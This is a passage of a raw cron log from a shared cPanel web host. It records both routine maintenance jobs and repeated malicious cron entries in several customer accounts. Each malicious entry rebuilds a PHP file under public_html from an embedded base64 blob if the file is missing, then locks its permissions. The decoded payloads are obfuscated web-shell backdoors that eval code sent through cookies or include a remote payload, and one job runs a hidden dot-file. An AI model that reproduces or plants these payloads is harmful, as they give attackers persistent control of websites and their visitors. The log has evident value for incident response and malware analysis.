KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:45:01 medusa CROND[12902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:45:01 medusa CROND[12909]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:45:01 medusa CROND[12910]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:45:01 medusa CROND[12908]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:46:01 medusa CROND[4874]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:46:01 medusa CROND[4978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:46:01 medusa CROND[4979]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:46:01 medusa CROND[4980]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:46:01 medusa CROND[4981]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:46:01 medusa CROND[4982]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:46:01 medusa CROND[4984]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:46:01 medusa CROND[4983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:46:01 medusa CROND[4985]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:46:01 medusa CROND[4986]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:46:01 medusa CROND[4989]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:46:01 medusa CROND[4990]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:46:01 medusa CROND[4988]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:46:01 medusa CROND[4995]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:46:01 medusa CROND[5001]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:47:01 medusa CROND[29125]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:47:01 medusa CROND[29222]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:47:01 medusa CROND[29246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:47:02 medusa CROND[29275]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:47:02 medusa CROND[29276]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 14:47:02 medusa CROND[29277]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:47:02 medusa CROND[29280]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:47:02 medusa CROND[29281]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:47:02 medusa CROND[29282]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:47:02 medusa CROND[29286]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:47:02 medusa CROND[29291]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:47:02 medusa CROND[29290]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7"